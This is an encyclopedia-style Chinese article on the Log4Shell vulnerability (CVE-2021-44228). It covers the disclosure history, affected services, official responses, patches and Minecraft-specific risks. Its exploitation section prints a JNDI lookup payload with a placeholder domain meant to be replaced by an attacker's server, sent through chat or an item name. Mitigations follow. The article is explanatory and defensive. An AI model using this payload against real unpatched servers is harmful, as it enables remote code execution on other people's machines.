Log4ShellLog4j 2.0(Log4J2)的一個零日遠程代碼執行漏洞公共漏洞和暴露編號(CVE)為CVE-2021-44228頁面存檔備份,存於互聯網檔案館[1]。被定性為「過去十年來最大、最關鍵的漏洞」

事件經過

阿里巴巴集團於2021年11月24日發現並報告給Apache,並於12月9日在推文中發佈了一個涉及 Log4j 2 中遠程代碼執行零日漏洞,其描述符為「Log4Shell」[1],受影響的服務包括CloudflareiCloud我的世界:Java版Steam騰訊QQ推特Apache軟件基金會分配了最大CVSS Log4Shell 的嚴重等級為10,因為數百萬台伺服器可能容易受到該漏洞的攻擊。網絡安全公司Tenable英語Tenable, Inc.將該漏洞描述為「過去十年中最大、最關鍵的漏洞」,Lunasec的Free Wortley將其描述為「災難性的設計失敗」。

在美國,網絡安全和基礎設施安全局主任Jen Easterly英語Jen Easterly稱該漏洞利用「至關重要」,並建議供應商優先考慮軟件更新,和德國機構聯邦信息安全辦公室(BSI)將該漏洞指定為處於最高威脅級別,稱其為「極其嚴重的威脅情況」。加拿大網絡安全中心英語Canadian Centre for Cyber Security呼籲各組織立即採取行動。

可以通過配置設置禁用導致漏洞的功能,該設置已在 Log4j 版本 2.15.0-rc1(2021年12月6日正式發佈,漏洞發佈前三天)中刪除 ,並替換為各種設置限制遠程查找,從而減輕漏洞。為提高安全性,此漏洞所基於的所有使用JNDI的功能將默認禁用,並且從版本 2.16.0 開始刪除對消息查找的支持。

官方的Minecraft:Java 版啟動器已修補此漏洞。使用自定義啟動器或自定義 Java 版本可能意味着客戶端尚未打補丁。在沒有修補此漏洞的伺服器上玩遊戲將允許伺服器上的任何玩家在另一個客戶端的計算機上執行潛在的惡意代碼。在 1.18.1 以上的版本上玩單人遊戲或多人遊戲將防止此漏洞。低於 1.7 的版本不受影響。如果遊戲伺服器主機運行的是 Minecraft 1.7-1.18 版本,則必須專門修補其伺服器,如果不這樣做,任何玩家都可以使用漏洞

利用方法

在一個沒有修復該漏洞的Minecraft多人遊戲伺服器(如Minecraft1.12.2)通過聊天框發送該信息,示例如下:

${jndi:ldap://wikipedia.org}

其中「wikipedia.org」可替換為攻擊者的惡意網站[2],例如DNSLog[2],發送後攻擊者客戶端也會卡死崩潰,輸出為:

ReadTimeoutException : null

攻擊者也可以將劍命名為該信息殺死人來觸發該漏洞(在部分多人伺服器被稱為崩服劍)。

防範方法

  • 在伺服器上打補丁或者更新相應組件
  • 在伺服器上安裝聊天過濾插件禁止用戶發送此類消息(通常禁止用戶發送第一個字符為「$」的消息)來達到防範目的
  • 使用JVM參數關閉該功能[3][4]
    -Dlog4j2.formatMsgNoLookups=true
    

參考資料

  1. ^ 1.0 1.1 CVE - CVE-2021-44228. cve.mitre.org. [2022-11-23]. (原始內容存檔於2022-05-30). 
  2. ^ 2.0 2.1 DNSLog DNSLog. DNSLog. [2023-01-21]. (原始內容存檔於2022-12-17) (英語). 
  3. ^ SpringCloud项目的log4j2漏洞解决方案详解流程-Finclip. www.finclip.com. [2022-11-24]. (原始內容存檔於2022-11-24). 
  4. ^ 核弹级漏洞log4shell席卷全球!危及苹果腾讯百度网易,修改iPhone名称就可触发 | 量子位. [2022-11-24]. (原始內容存檔於2022-11-24) (中文(中國大陸)).